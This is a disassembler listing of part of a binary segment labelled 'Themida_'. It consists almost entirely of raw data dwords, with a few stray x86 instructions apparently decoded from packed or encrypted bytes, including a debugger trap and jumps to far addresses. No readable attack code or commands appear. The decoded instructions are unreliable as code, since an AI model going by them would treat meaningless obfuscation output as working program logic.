4892E58Dh, 0DD25FB38h, 0EA6B16C0h, 0E9CB1043h dd 57083F53h, 1DC70480h, 0FBA6112h, 1428BD54h, 0E096B181h dd 458417EFh, 0D35A4FB0h, 10C408E4h, 0F87B17B8h, 404476h dd 179F425h, 0F7E34397h, 1FEEAC13h, 1330C000h, 0FC078EC5h dd 4E5D0021h, 83B998E3h, 7A1C3D20h, 0FED2FF2Fh, 9057D488h dd 0D0308130h, 0AC8CB820h, 19E80D8h, 0FF89A77h, 0D9AAD3E1h dd 0DD18BEDCh, 9332182Ch, 76C018A3h, 0A848D6DBh, 0CE33C960h dd 555741A4h, 2500B0BCh, 181DE026h, 0EA3CDB80h, 2EFFE768h dd 4CCCD8CBh, 0DA0AD328h, 202857A5h, 25869C24h, 44107D65h dd 0E2408F63h, 7BA43CE4h, 9CE9D535h, 0B8B49AD0h, 0B37AFD06h dd 57360019h, 4A269229h, 960791FFh, 50990B2Bh, 908C5877h dd 7278BCh, 0C394C81Eh, 0C7AD5A0h, 0FD4D94A8h, 92915503h dd 0ED3024DBh, 0FFBDB041h, 408DB931h, 20D063D7h, 0F3406C78h dd 0A2740128h, 0CB0281E2h, 2592F854h, 8E8CB054h, 0BDFC7B0Ah dd 4E42D81Bh, 1038D9E4h, 0C92509ADh, 900482D9h, 8944F07Bh dd 2408FD18h, 100DD72Ch, 259E9481h, 1080F6FAh, 1FDE7990h dd 0D8A782E1h, 0ED8F983Fh, 0D6D72618h, 129C0621h, 910420E4h dd 0D9CEA931h, 4FFAF0C1h, 12323880h, 0EF85F743h, 336DDF00h dd 7B093B0Ah, 4E2F012Bh, 42DB9CACh, 0D1C20DAh, 481C1D3Ah dd 78790B48h, 84E020DFh, 38D342D5h, 0A4D13FFFh, 0B26D827Bh dd 24B5868h, 26202DE9h, 0FF410090h, 0A205C384h, 7B798290h dd 78A890C7h, 64F78B0h, 0B7DB7084h, 0A8B4909Fh, 8148B2C9h dd 0A785DBD1h, 25062882h, 902F506Dh, 10D2EC94h, 21D29CF8h dd 9E259DC0h, 38A40E10h, 0A9C7B800h, 3C770521h, 0F980F2E8h dd 0BCD8D922h, 0C2146A80h, 0E841FEh, 232A4ABBh, 18D478BDh dd 185AFA6Ch, 2E244F7Fh, 2200002Dh, 0E31D24EEh, 0BED7008Ah dd 0F79AD0AAh, 4C32FF0Eh, 60858873h, 0D20208h, 2E3A6F23h dd 1AE443FBh, 13F15700h, 0FF307185h, 0B05ED5h, 0B3A3E164h dd 2609223Ah, 4961A5C0h, 0E0809E74h, 25023621h, 0EC9AFC38h dd 0CC40FA4Bh, 5FF943C1h, 423C4B0Dh, 8EF879B0h, 8078C80h dd 0E89C9525h, 0CE556300h, 0C1EB8998h, 0C4DBC828h, 21BC6526h dd 27582694h, 475C9082h, 20B0909Ah, 91008DDCh, 4E08328Fh dd 0FE17695h, 732565B9h, 1F6C5930h, 786E45EDh, 4024799Eh dd 0A87C650Ch, 0E796038Ah, 59FF1539h, 788400B5h, 0AE18359Ch dd 18A7123Eh, 1C885467h, 0DEE0083h, 0C69329CCh, 0E63E6201h dd 0DB8C0519h, 38E6C130h, 34B42408h, 0AA3E8304h, 0B21BA8CCh dd 609FE6E8h, 89D78869h, 0C80A747Ch, 0E004C3FFh, 3701F42Bh dd 0E3F8DA94h, 0DBF081F6h, 542BDEC7h, 85C06438h, 60653E19h dd 0E242D70Ah, 0A0008DDh, 9C41CBFh, 17ED7D3Bh, 89D4DAD6h dd 0CC02680h, 98399279h, 5427069Ah, 1174217Ah, 0B0750700h dd 92E2AAEEh, 1FC626D5h, 5ABBD0h, 5B27CD34h, 5C1EE6DCh dd 914287CEh, 48D1C0DBh, 0E23E41BCh, 62C600F9h, 63D73DCh dd 13485CDBh, 0C829CAA0h, 0A30BA610h, 0C2C2BBFh, 320074B0h dd 0B50B442Fh, 92266E7h, 0D4981E56h, 0F82B48Fh, 286104A9h dd 7FBC00D1h, 563C058Ch, 4138DB82h, 85E0ADD4h, 9040DAF0h dd 6B097A9Eh, 45E5E3AFh, 0E1791724h, 0E0184043h, 3317110Ah dd 741AA7D7h dd 9A4C1B1h, 897DC307h, 93E19CC1h, 0D037AF68h, 0DB437F14h dd 2011BD88h, 84093EAAh, 0C800361Eh, 0CAD1CEECh, 20487975h dd 0B311D98h, 6F3E05C0h, 7ED6D9EBh, 0E1F40073h, 0A9323D5h dd 9C983AD1h, 0F1D45F0Fh, 0AD782052h, 0FA0EF91h, 2472DBB9h dd 252814ACh, 5A71A800h, 0D9E81AAEh, 70D50641h, 20077E24h dd 8EDA843Dh, 0A1CC60E0h, 226C8C85h, 737F6C0h, 0E1B4092Fh dd 0E560932Dh, 0A3BF07AFh, 58E03BF8h, 5200F50Bh, 0C3CF5C19h dd 500CFE1Eh, 7E3ECA0h, 0BC0E2B0Ah, 6368DC1Ah, 1F254700h dd 0A135E1D6h, 7BA2076Bh, 4131E3A3h, 0E0E04C84h, 0DA00C4CBh dd 0CC6354E6h, 0FBF0787h, 923FE69h, 1FE8D001h, 6173F0FBh dd 86038D7Ah, 0A6FEE044h, 0CF780685h, 70FD9D79h, 83013200h dd 0D3964510h, 0FEB80CD8h, 0A0288B69h, 73DA900Ch, 3A566837h dd 0A8605C27h, 7535F1D8h, 0B4C0AF01h, 0FB661A9h, 131870h dd 78BA1D19h, 81E01ED5h, 0CC6880E9h, 0C479CD07h, 33E0A03Dh dd 0C7D2E0FEh, 0ACFDA268h, 35581959h, 21B6008Ah, 0AC309C0Fh dd 5C5F00E9h, 2806EC0Eh, 19032556h, 9316A781h, 1D84A87Ah dd 240F1C35h, 0FD48F077h, 1E0FDD78h, 83F87A8Ah, 0E1D0A4D9h dd 0A1E59190h, 5E54060h, 33DA773Bh, 7BEC03C9h, 22C10D1Ch dd 6108088h, 0B1381274h, 4F7918ADh, 944CB85Ch, 0D8E0681Fh dd 0FE2DCCC0h, 19DD2851h, 3886E1DAh, 308BDD92h, 57EEB91h dd 5A209613h, 0BF1E0EE8h, 88D03BDAh, 7B843C08h, 10126518h dd 0BC78F726h, 5810FAD8h, 84E10052h, 9FF57AACh, 7918395Eh dd 2880796h, 372D0156h, 2012D65Ah, 0FF23C4DBh, 628040E1h dd 970A35F9h, 0C089AF79h, 7F542B00h, 6BC6A55Ch, 3A056039h dd 83C009F5h, 45FE2C07h, 0BBF00048h, 6D14ED6Ah, 8BD49114h dd 53D000ECh, 0FDA9692h, 5EE8C084h, 9912864Ch, 0E1AC3A00h dd 0C11CBE0Eh, 9C232979h, 768F092Ch, 0EB3A4C01h, 99D7E309h dd 0C1D73020h, 7474BC35h, 45508092h, 0E0A98FDCh, 212021DEh dd 4D1000A0h, 917D2896h, 79BC300Eh, 67B10EF1h, 21858EC2h dd 0FE420805h, 44801415h, 0CEF83180h, 0D280EB60h, 0A01762F8h dd 5099A5A8h, 505C8C11h, 4016D41Fh, 44019053h, 7BCECAF3h dd 24C0C773h, 904E67E5h, 400926FBh, 1ECD4500h, 86351162h dd 2438A05Ch, 98FD509Ch, 9A1729FEh, 8C069F8Ch, 0B048E3BDh dd 0EC72A500h, 0EBD0271Fh, 0DCC35479h, 57FE182Ah, 8DD338BEh dd 18E7DA24h, 4CBA7985h, 7083D80Ch, 5D5B155Eh, 0A53894C0h dd 90D4C8AAh, 0F67A2810h, 1BA48490h, 483FAC33h, 0DB3E23C1h dd 0C8D21828h, 0E379D708h, 0DA0500FFh, 66F3B250h, 966EE800h dd 8141555Ch, 6DBC0009h, 0AB7B67A4h, 0C8038AD4h, 8DF1D6E1h dd 2350A780h, 903485h, 159F5BA6h, 63EF73BCh, 320095E8h dd 0F2F162AEh, 0C413E48Bh, 1B76DE8h, 984283CEh, 73BD5040h dd 0A5FE13C1h, 139C52A2h, 0E6000104h, 0D4A3372Bh, 0B0CEFECFh dd 858842Ch, 0FAD73880h, 3E44987Ah, 50194D33h, 203940E3h dd 0C8905C58h, 34FD4228h, 3A4833Eh, 0DA91225Eh, 79190A78h dd 8C1040BBh, 5608860Fh, 80887F4Ch, 79691D25h, 8B1A00A6h dd 0CD5759D5h, 6651923h, 1B828A20h, 1CC888CCh, 0D2D40E4Fh dd 9540FC00h, 54DA783Fh, 35FED0E0h, 0F1DCD9h, 0BF3F5618h dd 4014C2CBh, 802A4Fh, 5F7E1E3Ah, 7B2DBE1h, 3E350EFCh dd 83852Dh, 131C7308h, 7A04DE2Bh, 39B74053h, 5C50E8CBh dd 3D7A1484h, 3B8988A9h, 9C80AC89h, 0F041EF0Dh, 0B3A6E100h dd 563783DBh, 1A050C20h, 0BE18E551h, 1669B105h, 20903CFEh dd 72B0D3Bh, 0FBACB622h, 0C673C01Ch, 567EEF6Ch, 0B000BCECh dd 4F5FCD1Fh, 0CC0C34h, 383CD629h, 3DFE82FDh, 0BBC2058h dd 186BC023h, 0A0D8410h, 0B486FC7Ah, 89C0EAC4h, 1C81DFD5h dd 1F91D23h, 44629593h, 2240D613h, 43111C3Ch, 0C7D80420h dd 61947318h, 209B1765h, 4F00C560h, 22D13EF9h, 0AF36B8h dd 0F1FB4D4Ah, 7BCD565Ch, 0E8C07A00h, 0D9A72151h, 691A03BBh dd 0FA11967Eh, 384086E2h, 8A50F0FEh, 0B000778Ch, 95D4372Fh dd 2E6EA42h, 240EE382h, 5CE91279h, 0A2584783h, 40464227h dd 4903Eh, 1BBC775Ah, 812866h, 67E842FDh, 3C98DDABh, 72C6902h dd 1174024h, 0E0562A87h, 2D0F1B92h, 0E9ABF8B9h, 0E6B8943Bh dd 1852609Ah, 77BB94E4h, 70C0A400h, 8225CC20h, 0C78B1E8Eh dd 0D614C009h, 0FC1BCCEh, 0C48C789Ah, 0C7247813h, 0D480E840h dd 0D88E8Dh, 1A38AFC3h, 239C79C0h, 542968C2h, 0C4946042h dd 215E81B5h, 1F65D088h, 402F5F12h, 96297C00h, 6C56024h dd 97DF0A91h, 4D494051h, 2B490E0h, 427F8404h, 0C80C8D94h dd 6247F408h, 89EE8CDh, 75793400h, 0A432F7FAh, 0B8C3A109h dd 0FDD04002h, 516398E8h, 0D63F3509h, 0A51C3819h, 0B8A16037h dd 20D8A30Eh, 2BA90B9h, 0D4D5E1ECh, 0D9AC68D3h, 0DFDFF9E9h dd 0F14DF05Ah, 0C74DF841h, 301ABD01h, 34C6478h, 0F1752464h dd 0B03BDE00h, 13E75CDBh, 319542BCh, 350D8E0h, 0EE7826B0h dd 0A0642618h, 9B8BE8DCh, 0A8230674h, 0D6613038h, 0ADD22498h dd 5C8ED060h, 1E28E431h, 83C4D70h, 3DDA2181h, 8DF1BCDFh dd 28F5EE79h, 885D460h, 0E4779B5Ah, 794E5E01h, 0B4424705h dd 98104E2Bh, 7B18C4CFh, 1614A6CDh, 6E0A29D6h, 9780F07Ch dd 1AF89C9h, 7A0F2424h, 4EA08090h, 56E77E3Fh, 0EC822E04h dd 0D6C3FF73h, 0F138587Dh, 0C0330C65h, 0AB3244D0h, 0DC60E405h dd 0F8400AFEh, 2DAC4CAh, 0E878C94Fh, 0EA2AC003h, 987A8833h dd 0DB6DD026h, 0FC420081h, 0DFB1A393h, 2B4D9223h, 0BCDA0A2Ch dd 4C2C88AAh, 8AD75F07h, 9C61D90h, 1AD10F4Ah, 0DD7DD8F9h dd 0A7D9C235h, 84994156h, 63BC42C7h, 0D460C662h, 489476DAh dd 0E9C32900h, 0E2FFE57Ch, 38527766h, 1B7048FAh, 0A04EC81h dd 7A2EB287h, 8302BF02h, 1F3B30Ah, 0DFC38138h, 0D862C401h dd 31EDAEBh, 687B6875h, 0E906081Ch, 3B3C0B20h, 0D298CAFEh dd 515C0E09h, 5940B930h, 0A56F901h, 0C681E689h, 0EE830E41h dd 243487C1h, 0D02CFD5Ch, 0BD015550h, 20BE442Dh, 4F86C31h dd 5081E25Dh, 70500CF5h, 0C82EA0B8h, 0FF283089h, 4EE95848h dd 5BC4DB60h, 0E667F580h, 30D37CEDh, 8B321B90h, 45F0240Ch dd 58109763h, 0D31CD366h, 0C6B6DB57h, 26896016h, 0BB22CAB9h dd 7810F3Fh, 15AD4257h, 1F91C160h, 1050FF2h, 9CC659CFh dd 893476EAh, 735F20E1h, 375C4A0h, 10BD0A57h, 86EA010Fh dd 763ED56Eh, 0E2DB305Fh, 2BB4B90Ch, 2946230Ch, 401364C8h dd 810F66D7h, 462FF4E6h, 1453338Bh, 0F8706D6Fh, 460DAE11h dd 728476B7h, 3368E68Bh, 3CED6003h, 7E1854DBh, 88141527h dd 6A79EEDEh, 3F1D3F2Eh, 0B721E698h, 87655AD7h, 0BE265C38h dd 0A6895027h, 0AB8872E9h, 571E0089h, 30F82BFh, 0F75C8145h dd 6B6F1D11h, 0EF0DBB6Ch, 0E7F8A901h, 9E44007Fh, 0E9D78773h dd 48CDF4BCh, 1406D046h, 8000F3AAh, 0CFE1D5C2h, 66A9EAABh dd 9467FC50h, 0FCC551C0h, 15FB87D0h, 8B5DEE01h, 319C338Ch dd 5C0D06D8h, 0C7681557h, 14608D18h, 1B6367BEh db 48h ; --------------------------------------------------------------------------- loc_4E6109: ; CODE XREF: Themida_:004E6180j jle short near ptr loc_4E6175+1 or [ecx+802E89Ch], ebx test eax, 0C49749FCh inc eax sub [esi+53h], esp push ecx cmp dh, [ecx+3BB70357h] xor bh, 2Bh enter 55B5h, 8 cmp al, 0EFh pop ecx xchg eax, edx mov esi, 0BEB6CD00h jmp near ptr 3B1C9199h ; --------------------------------------------------------------------------- db 5Eh dd 0B778DACFh, 2B0305EEh, 7701C3FEh, 4C5AFA20h, 0BD98A8E0h dd 0C10724Ch, 7DD7E97Fh, 9BA1311Ah, 0D5A2F6C4h, 0DD845BD9h dd 40FE1112h, 4040D791h, 37C10FBAh, 11574FB3h, 0D261F80Ch ; --------------------------------------------------------------------------- push ebp loc_4E6175: ; CODE XREF: Themida_:loc_4E6109j mov ebp, esp inc esp mov eax, ds:0ED933B1Dh xor [ecx], esp int 3 ; Trap to Debugger jnb short loc_4E6109 mov ebx, 925DEB89h retn 84D1h ; --------------------------------------------------------------------------- dw 5189h dd 0F751849Eh, 0EF7F86BDh, 0BF85AEDh, 486E92DEh, 0A698C859h dd 40D017F0h, 9184D143h, 0E64B44D1h, 0C0032341h, 0F5F2C1AEh dd 0C5870834h, 1815C70h, 3003C69Eh, 1603DF51h, 553D6E6Ah dd 220E6801h, 0F9E9890Ah, 0CBEE082Fh, 0FC154DEFh, 2ADCC207h dd 0DAAFFF10h, 3008EA0Ah, 0AE74131Ch, 0ED25B71h, 1487B321h dd 0C270C222h, 25E99C6Eh, 96029DA9h, 536A3189h, 0C15EC420h dd 26EB206Fh, 0B3BB00B1h, 0E97E175Ch, 0F7E5CD52h, 3C97245Ch dd 3B217F1Eh, 5C10DD98h, 160A0011h, 295DE801h, 0E2012DD8h dd 0E9662E36h, 1023345Eh, 0E481D179h, 0CC58B848h, 48617902h dd 0E741D8F7h, 12A700Ch, 0A209D990h, 8F033564h, 6F2E23DFh dd 0FEFEB4Eh, 84E9F868h, 95B35EBAh, 0A87CFBD9h, 0E300AB0Ah dd 520DD310h, 4C4C99BAh, 0CF3CC792h, 400FBE40h, 44138503h dd 3B908DFCh, 0CB06E3C1h, 0A75ED774h, 440E2112h, 5B01364Bh dd 441107Ch, 525BCE40h, 387448FFh, 935E5486h, 4FD1EA05h dd 0D3070D1Fh, 10E00E53h, 0FE04E2C1h, 0E4D31BF2h, 80ACD8AEh dd 347EC3C2h, 0C9275424h, 717F84E9h, 382521Eh, 16F968F0h dd 17911D10h, 0F614543Bh, 5901D7E3h, 53E28952h, 6D0863BBh dd 4CE696ACh, 43E93E18h, 0DF804D59h, 81591E5Ah, 7C62E100h dd 29E96376h, 6137D490h, 0B3685C0Eh, 0E9193153h, 18B89E8h dd 213A82F0h, 48F0341h, 8E132010h, 0CCEDD11Fh, 0C10E2C7Ah dd 0EF88E750h, 0BB21293Ah, 27C70140h, 474F8E56h, 111012CBh dd 89000194h, 223C8BF9h, 0D974861h, 28561839h, 2CF31420h dd 439FB6E5h, 66001004h, 0F681DEF7h, 0A120400Ch, 8D64789Ch dd 38A985Eh, 67B55542h, 6B8C15Bh, 154D6968h, 171F8088h dd 20E91DDDh, 681A448Ch, 8251288h, 0F520B9A5h, 6815B084h dd 84912183h, 5305383Ch, 0C3C60854h, 1A0C8346h, 334D0968h dd 452CC58Ah, 0A2A2555Bh, 43E0E90Ch, 0BE7E5626h, 7A78120Ch dd 791BE04Eh, 0E9741E1Ch, 40F9A64Bh, 792B2F6Ch, 0E6C15D0Ch dd 3A1C2A03h, 1161057h, 5EB449F3h, 7489A332h, 59532D11h dd 0FE686145h, 689BD45h, 0C1D49BE3h, 108DE846h, 0FAE4D387h dd 0CE3A140h, 471F6F14h, 0F9CC0282h, 4031286Ah, 59FAE951h dd 0E014F0FBh, 0E8CE9105h, 47B525D3h, 2BC58856h, 64E97E01h dd 0D82B805Eh, 0F6C0FE5Bh, 673BF8D0h, 62AC4ED6h, 0C1007018h dd 0B84802E0h, 5102B269h, 6609E18Bh, 51E96B89h, 12CC3D42h dd 95AC0CC0h, 50565831h, 0BC29D5Ah, 50D64692h, 0A81CBD8Fh dd 2C8B2908h, 77FF8F2Eh, 0C849BB35h, 65090693h, 0C7A8FFDBh dd 0E43C78D9h, 2C11586Eh, 8387C650h, 0A68402C0h, 0F6664D0h dd 4CC874B6h, 2A10FB51h, 82B00ACEh, 243DA4C0h, 0C2470958h dd 0FCBC8489h, 3CC30F81h, 9C206A31h, 0A816991Bh, 2931042Fh dd 9046064Eh, 6EECCEA1h, 8F984770h, 2905CFDCh, 82D087F5h dd 7A52EFE6h, 0CC3390DDh, 0F252081Eh, 86395E4Ch, 286941F9h dd 82838BF5h, 9C3678Fh, 72809E9h, 5F1B630Bh, 4CF72D01h dd 4F74C226h, 316F230h, 0C11AEF78h, 0D2FA02EAh, 0FD7AA84h dd 6586F29h, 593E3FD3h, 9ED8F9ADh, 2C0B0BBAh, 21511E7Ch dd 25135F50h, 483C72FFh, 0E103A0E9h, 607454BCh, 6959C0B7h dd 416327B8h, 88CB140Eh, 18C80156h, 5E7F79E9h, 0E2E4102Ch dd 849AD0F2h, 70C10CABh, 73FA233Dh, 74DE37Ah, 23502E5Ch dd 3C8BBA9Fh, 0C868216h, 9D86C34h, 26683533h, 0B8998081h dd 1FA9CF86h, 54F492F0h, 149D95Ah, 0E9535A76h, 0AC0958EAh dd 7DFB8042h, 80469828h, 2C790BE7h, 1FCD151Bh, 1080105h dd 0D15FFE29h, 8DF4BF1h, 616DC68h, 0A563FE9h, 7D265C76h dd 1C9305EEh, 88646521h, 61D36320h, 0AE681CCCh, 0D3A9367Ch dd 49B25F2Dh, 0E09ED5Eh, 0D365075Bh, 48550C9Ch, 50247539h dd 8D1A6B7h, 0C1874B48h, 5B10227Fh, 4C59CE89h, 53A904Eh dd 0D43AE909h, 2D8F659Ah, 363B6203h, 0DD08630h, 4BE9D101h dd 726717D9h, 60665840h, 0C63442D3h, 0FDC24D81h, 0A7507432h dd 0F95317ECh, 0E8AA0D2Eh, 0E9AA600Dh, 7910364Bh, 0D4F02477h dd 0E5F3898Fh, 0BD44879Dh, 259D2DBCh, 88413236h, 1C885028h dd 686C139h, 1C838BE9h, 1A445F4Ch, 70E1AAEh, 2B6084FCh dd 13D7F776h, 0B04EFC1h, 42100631h, 0F8007995h, 0C622BF3Fh dd 0D295924h, 0D874E9F7h, 0CBE2D4B8h, 64600AD3h, 0FC52F1F7h dd 6790514Eh, 7482D314h, 0E8C10110h, 329E4005h, 740F126Ah dd 475AD031h, 8B74E06Eh, 9349186h, 76C00F55h, 5482FA41h dd 0E54A84B4h, 44195705h, 0E99D9166h, 53C15261h, 3C42C08Eh dd 0F90019D3h, 0EC3B2E75h, 302C7AEDh, 9D1853BFh, 8D17BE74h dd 35277E9h, 0DEEC1210h, 0A999FCAAh, 141064E9h, 1B02B951h dd 0BAE9CE04h, 0E014978Bh, 0B35324B5h, 0C3804704h, 0C8C7883Eh dd 6859EA00h, 0C4CADh, 0EBB753C0h, 0E913D6B5h, 36491ECFh dd 0A0EF093Bh, 22C6685Dh, 0D0234CB6h, 124FCD1Ch, 4344141h dd 2C087A0Bh, 0D5B903B4h, 98278D29h, 9EAFE9D9h, 0D45E14DBh dd 0BBC0FC39h, 35621A09h, 0EA290064h, 9F94A1Eh, 20E9D831h dd 665B0240h, 0A3B0501Eh, 589DC55Dh, 807DB4C0h, 7928E3F4h dd 0F1FE7DE5h, 0E69923FDh, 0F9F5068Ch, 5097EFEBh, 0F69BB652h dd 0CD34DAC4h, 9A911FD4h, 0AC03038Dh, 5E212633h, 6A2FE1EDh dd 0E604F873h, 0C0982EA4h, 26C0F665h, 7A68CA2Ch, 0D2100A0Eh dd 2BBD7500h, 1C0E2962h, 0BFF5314Dh, 38B808E9h, 58808F45h dd 0B79904Bh, 0ADBFE005h, 3C5E9F87h, 8CE3F8FCh, 96CAB5A4h dd 70287F20h, 0C3D2CF5Ah, 0E9B46013h, 0E4A90D44h, 80F220E7h dd 8DDC0ED2h, 0DCBB0053h, 0E9404373h, 27C9913Ch, 0B1EA9424h dd 1C6B0ACDh, 0AE835125h, 63A4E00Ch, 27D3005h, 0B484CF94h dd 84C30814h, 92E26593h, 33320691h, 0CAA3314Ch, 0B30E6984h dd 47D18851h, 0E25759CFh, 805BFC70h, 15548ECh, 0E6087B09h dd 4432904h, 44C73C31h, 54BF1638h, 0B303AD5Dh, 487A8070h dd 7F054088h, 67104405h, 8D1DD0F7h, 3B1E0CC4h, 64B711C0h dd 5C21E443h, 61B7E8D3h, 606C8CE3h, 854DE966h, 0D3F70F3Ah dd 0E1931C51h, 1EA70554h, 0B889DF04h, 0ED714E88h, 265FD2FCh dd 22E13A65h, 3C0F96B5h, 0B577B914h, 3EEC1B0h, 0C0B9FEFEh dd 0C405F100h, 25019030h, 0FF0959CBh, 173E0204h, 2993B756h dd 112BCB8h, 603CF91Bh, 7546812Ah, 31A1AF34h, 4C405F61h dd 90852296h, 2C60EEEh, 4E72D71Fh, 0BE782952h, 5C3C4198h dd 0D4688B31h, 1825B00Ah, 2D1F1911h, 0CF819621h, 580345A8h dd 0A4550098h, 0EC072483h, 28F48FDh, 3C66DF8Bh, 1C7713C3h dd 0D3BBC29Dh, 2EE99C00h, 4904B483h, 0C0491E4Ch, 0D12916EAh dd 4CC2CE01h, 31F578AAh, 0B45C8A28h, 4D60159h, 0AC8B32Eh dd 0BE9B27BBh, 4BF45BDDh, 7C165D39h, 0F625469Ah, 0CCA207F1h dd 0ED056843h, 19AC1489h, 1D380CE6h, 2B1EC255h, 8985CBE8h dd 0C7005AD1h, 73673444h, 33883E2Dh, 0ABAA0927h, 0BF126Ch dd 683F02A7h, 0D4B11CE7h, 3EE635A4h, 4534AB9h, 42CA105h dd 0B8E3C168h, 0D121EF51h, 0E9EED157h, 0BDE98008h, 483CE858h dd 5A3AD545h, 894F1B0Fh, 75055D40h, 213B591Eh, 3FF3148h dd 9B3488E9h, 68E5925Ah, 12AE75BBh, 66B583CAh, 30E6AF4Ch dd 7BF1276h, 45F81E3Ch, 0ECC5DC4Fh, 89D15273h, 275EE9E1h dd 1314D78Ah, 716A86h dd 7BE76C17h, 83904C01h, 4FE9590Ch, 0CED5314h, 7EFF425Dh dd 111A87EEh, 1EC2D54h, 4CB16868h, 86F2954Dh, 55C5DE3h dd 58986F47h, 0F7A9C183h, 0C1049DD9h, 0F1019FE8h, 0B92F23DEh dd 6370CD31h, 7B5D5CEFh, 1668471Fh, 0E90DC83Ch, 483A28FFh dd 75260144h, 43057EA4h, 0B07D12D4h, 0B5736E46h, 0FB6B26C1h dd 30133077h, 7ABE8A41h, 91A7B6A8h, 6CFD88BAh, 4C02BE01h dd 66622CD2h, 0CB52EC04h, 528C063h, 41443AE9h, 50310FC6h dd 5D6B1020h, 695CF841h, 0D35F4AE7h, 1043578Bh, 4C116A2Ah dd 44108673h, 1A4D242Ah, 19A9EE80h, 0A0EA09C9h, 90DAF7B6h dd 7118A679h, 602D811Ah, 292CA318h, 9703A55Ah, 718632Bh dd 0A22CEA46h, 0DDE9C232h, 0FE2C23D8h, 6C3BEECBh, 4094FE06h dd 1285F7Ch, 0ED2CCCC5h, 3D45F302h, 0B8BEFB93h, 2C4F2060h dd 5B8F729h, 18C781DFh, 63E20C0Bh, 8B0E2609h, 83FDB91Ch dd 3C543EFFh, 0FE43275Bh, 17C8AF7h, 0E9505D54h, 6433750Ch dd 7A891488h, 6039A2C6h, 0C1B56205h, 4ED85B02h, 74913C27h dd 72DD014h, 0E914A075h, 13E9BE5Bh, 2741EF7h, 21031397h dd 0A1284040h, 0AA013C3Dh, 0A198B29Fh, 0EB1C26Bh, 3129B67Ch dd 0B42C1CEDh, 6F0F7B77h, 0B7EEAEB8h, 0D80F6FCEh, 1A783F9Dh dd 7CE0F4E9h, 3B8CCB0Eh, 0CB3F8036h, 4ED9163Dh, 2090D5C9h dd 0EF4C7381h, 22E3C450h, 0C99F520Ah, 0BDD93362h, 0FEBF5780h dd 0B12DE56h, 4703EFC1h, 15D1E900h, 918780Fh, 0ED5C58C7h dd 7A5F1EDFh, 9E6B3DE9h, 0B4C9D6C3h, 12F7D840h, 66416302h dd 435FFD21h, 7BD6172Fh, 6806809Bh, 0D7B46331h, 0EFC9906Bh dd 81337E9h, 219EC00Eh, 21F94473h, 0D090816Eh, 40368717h dd 39C12A70h, 0E88103E0h, 244B0D07h, 328641EDh, 70C1622Fh dd 4F095FC2h, 59DC491Ch, 0E959F636h, 3181672Dh, 33371968h dd 51F37D72h, 0CAAD66ADh, 9A599D50h, 7655862h, 12FC4CA0h dd 65D3A6B4h, 0C2D08359h, 0A59582Bh, 0EF4E37BAh, 41B217C9h dd 51685C98h, 0D22D6307h, 1BE9A9C1h, 87122678h, 0FF88210Ch dd 3410F530h, 0D5D059A2h, 65C99F03h, 8ED9A261h, 821BE637h dd 6D1AA27Ch, 0AE880687h, 0F7192F2Ch, 0AA80E96Fh, 21E0804h dd 7A82BC12h, 13818221h, 0B6801E5h, 8A732812h, 0E961E855h dd 26ACD972h, 0A1112577h, 5EA99AF7h, 0E9F7A16Dh, 0DC5505E8h dd 8A84803h, 1EC2AFECh, 8179C886h, 7C1FFCF2h, 0EAC10FF4h dd 5D4206h, 0CC246C6Ah, 25F3ABE9h, 686E408Ch, 9FDB27C5h dd 40E09A10h, 2C1ACD0Bh, 12855E5Ch, 9DDFA2D1h, 6244C3C1h dd 0C38174E9h, 1D76D6BAh, 69848345h, 593C4Bh, 522D8D7Ch dd 5AD329E1h, 1B95314Ch, 0D336E72Ch, 0F785F7FEh, 50582391h dd 8C9F956Dh, 0E1A31147h, 53405E90h, 0BD9AA05Fh, 35D3001Fh dd 38BCEE81h, 21B028C1h, 8777F000h, 0E9F731A1h, 8A4C4A54h dd 0B8F06089h, 1125D14h, 9935405Fh, 205EC738h, 4C01059Eh dd 0E939BB7Ch, 75AF58D3h, 2033D699h, 6D83119h, 54B4E90Dh dd 98F8E269h, 60634865h, 2C0B0DAh, 83B058B1h, 77DA6816h dd 1BCBC261h, 9C028355h, 62984A28h, 783E8487h, 0EB4BB00h dd 8100775Fh, 8C90FEF3h, 12DF294Ch, 9C3DB0E9h, 67762CF1h dd 31DC4Ch, 0FE65B151h, 73F180C1h, 0E130EBDBh, 5BCA402Dh dd 88312690h, 0D9010EEFh, 82833F64h, 0E405AAFBh, 0BC06FD2Dh dd 0C90DE0EBh, 5E5A5B32h, 522137C9h, 0C34820DDh, 83A2B83Eh dd 0C201DACEh, 2674EF58h, 8B180AA4h, 0C6824440h, 4C097D1Fh dd 7E249h, 59B23C2Dh, 0A6559451h, 884F076Fh, 0EEE1F053h dd 3B4CFC25h, 373F0086h, 45052680h, 72A30319h, 49E32E2Dh dd 80DA219Ah, 0DF2E0772h, 6ACF33DAh, 5180F992h, 8F3BD768h dd 4679010h, 471272C9h, 0C05834Ah, 8E42CFA9h, 8658F0Ch dd 4C0A0F1Dh, 0CD89BA40h, 0C4603EE9h, 962D5D5Eh, 33382460h dd 4B100152h, 0DA292BECh, 8046042h, 5E01C258h, 0D376F2CEh dd 0C2A3A5A8h, 97FC6482h, 4DB1A8Ah, 0A8600346h, 1465021Eh dd 81491CDAh, 222B78Ch, 9CD79247h, 112006Eh, 905559CEh dd 4FA620C0h, 5C0931B6h, 445BA49h, 5402C9E0h, 0BAE0565Bh dd 40261CA8h, 0F3000672h, 0F7208D61h, 0EBC128D3h, 1D7DF4D6h dd 0BC55DF5Eh, 9659EC86h, 80945E48h, 2E7B925h, 2C253222h dd 5D441744h, 34E9275Ch, 0F7662901h, 0ED8C20DFh, 0C0E77948h dd 0EA80D6B0h, 9284FABDh, 79B60264h, 5166CEFEh, 34D2B141h dd 5B59DD3Ch, 0CAB800B8h, 3148D761h, 0C80995F8h, 832F4314h dd 0E9D890C0h, 51FB44Ah, 202E1C1h, 0B44FE8ABh, 29F1FCC0h dd 0DB096892h, 8274F277h, 9E002A4h, 1497037Ah, 79E9171Bh dd 58D47121h, 1AA12218h, 6740C1A7h, 4D9E0884h, 1BC7253Fh dd 5C4FB415h, 0F8286661h, 8FE9D02Ch, 0D331135Ch, 5629BD80h dd 511750C9h, 6D7E30E9h, 28B2BE26h, 180F2D3Dh, 0E287D53Fh dd 2C2018E7h, 5F5A0C4Bh, 1162452Ah, 6779BA04h, 3181597Eh dd 10218B7h, 50D28A40h, 15FA05BAh, 7DBB8CA8h, 36244D01h dd 5F5BDE01h, 0C16425F9h, 68560255h, 4EE53349h, 0A187D4F0h dd 2EF7A609h, 0A77C4B6h, 0BC30BFCDh, 0F16B0E35h, 0AB80BB03h dd 0EB2982C1h, 5C055D73h, 595B0824h, 6BA27F12h, 